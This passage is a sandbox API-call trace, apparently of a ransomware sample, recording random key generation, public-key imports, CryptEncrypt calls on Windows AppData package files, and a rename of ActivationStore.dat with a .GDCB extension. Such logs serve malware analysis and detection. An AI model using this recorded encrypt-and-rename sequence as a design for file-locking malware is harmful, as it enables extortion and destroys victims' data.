pdwDataLen=0x285e3dc*=0x4) returned 1 [0301.898] CryptEncrypt (in: hKey=0x67add30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb40000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdb40000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0301.898] GetLastError () returned 0x0 [0301.898] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.898] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0301.900] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae5f0) returned 1 [0301.900] CryptGetKeyParam (in: hKey=0x67ae5f0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0301.900] CryptEncrypt (in: hKey=0x67ae5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb50000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdb50000*, pdwDataLen=0x285e560*=0x100) returned 1 [0301.900] GetLastError () returned 0x0 [0301.900] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.900] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0301.915] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0301.919] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.922] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0301.922] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.922] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0301.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.926] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0301.927] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.927] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0301.929] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae0f0) returned 1 [0301.929] CryptGetKeyParam (in: hKey=0x67ae0f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.929] CryptEncrypt (in: hKey=0x67ae0f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb60000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdb60000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0301.929] GetLastError () returned 0x0 [0301.929] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.929] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0301.931] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae2f0) returned 1 [0301.931] CryptGetKeyParam (in: hKey=0x67ae2f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.931] CryptEncrypt (in: hKey=0x67ae2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb70000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdb70000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0301.931] GetLastError () returned 0x0 [0301.931] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.931] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0301.969] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0301.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.975] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0301.975] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.975] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0301.977] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.980] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.980] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0301.980] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.980] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0301.982] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae530) returned 1 [0301.982] CryptGetKeyParam (in: hKey=0x67ae530, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.982] CryptEncrypt (in: hKey=0x67ae530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb80000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdb80000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0301.983] GetLastError () returned 0x0 [0301.983] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.983] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0301.984] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae570) returned 1 [0301.984] CryptGetKeyParam (in: hKey=0x67ae570, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.984] CryptEncrypt (in: hKey=0x67ae570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb90000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdb90000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0301.985] GetLastError () returned 0x0 [0301.985] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.985] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0301.988] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0301.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.993] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0301.994] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.994] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0301.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.999] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.999] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0301.999] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.999] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0302.002] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae670) returned 1 [0302.002] CryptGetKeyParam (in: hKey=0x67ae670, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0302.002] CryptEncrypt (in: hKey=0x67ae670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdba0000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdba0000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0302.002] GetLastError () returned 0x0 [0302.002] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.002] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4980) returned 1 [0302.004] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae4b0) returned 1 [0302.004] CryptGetKeyParam (in: hKey=0x67ae4b0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0302.004] CryptEncrypt (in: hKey=0x67ae4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdbb0000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdbb0000*, pdwDataLen=0x285e560*=0x100) returned 1 [0302.004] GetLastError () returned 0x0 [0302.004] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0302.004] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0302.008] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0302.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.013] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.014] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0302.014] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.014] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0302.016] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.018] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0302.018] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.019] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0302.021] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae270) returned 1 [0302.021] CryptGetKeyParam (in: hKey=0x67ae270, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0302.021] CryptEncrypt (in: hKey=0x67ae270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdbc0000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdbc0000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0302.021] GetLastError () returned 0x0 [0302.021] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.021] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0302.023] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae430) returned 1 [0302.023] CryptGetKeyParam (in: hKey=0x67ae430, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0302.023] CryptEncrypt (in: hKey=0x67ae430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdbd0000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdbd0000*, pdwDataLen=0x285e560*=0x100) returned 1 [0302.023] GetLastError () returned 0x0 [0302.023] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0302.025] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0302.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.032] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0302.032] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.032] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0302.035] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.037] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.037] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0302.037] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.037] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0302.040] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae730) returned 1 [0302.040] CryptGetKeyParam (in: hKey=0x67ae730, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0302.040] CryptEncrypt (in: hKey=0x67ae730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdbe0000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdbe0000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0302.040] GetLastError () returned 0x0 [0302.040] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.040] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0302.043] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae6b0) returned 1 [0302.043] CryptGetKeyParam (in: hKey=0x67ae6b0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0302.043] CryptEncrypt (in: hKey=0x67ae6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdbf0000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdbf0000*, pdwDataLen=0x285e560*=0x100) returned 1 [0302.043] GetLastError () returned 0x0 [0302.043] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.043] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0302.104] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0302.108] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.110] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.110] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0302.110] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.110] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0302.113] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.115] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.115] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0302.115] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.115] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0302.117] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae6f0) returned 1 [0302.117] CryptGetKeyParam (in: hKey=0x67ae6f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.117] CryptEncrypt (in: hKey=0x67ae6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdc00000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0302.118] GetLastError () returned 0x0 [0302.118] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0302.118] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0302.119] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae770) returned 1 [0302.119] CryptGetKeyParam (in: hKey=0x67ae770, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0302.119] CryptEncrypt (in: hKey=0x67ae770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdc10000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0302.120] GetLastError () returned 0x0 [0302.120] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0302.120] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\microsoft.windowscommunicationsapps_17.6002.42251.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\microsoft.windowscommunicationsapps_17.6002.42251.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0302.121] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdc20000 [0302.124] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdc30000 [0302.126] ReadFile (in: hFile=0x4fc, lpBuffer=0xdc30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdc30000*, lpNumberOfBytesRead=0x285e318*=0x80000, lpOverlapped=0x0) returned 1 [0302.157] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0xdd40000 [0302.175] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\microsoft.windowscommunicationsapps_17.6002.42251.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\microsoft.windowscommunicationsapps_17.6002.42251.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\microsoft.windowscommunicationsapps_17.6002.42251.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\microsoft.windowscommunicationsapps_17.6002.42251.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0302.193] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0302.196] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.199] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.199] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0302.199] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0302.199] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0302.202] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0302.204] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0302.204] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0302.204] CryptReleaseContext 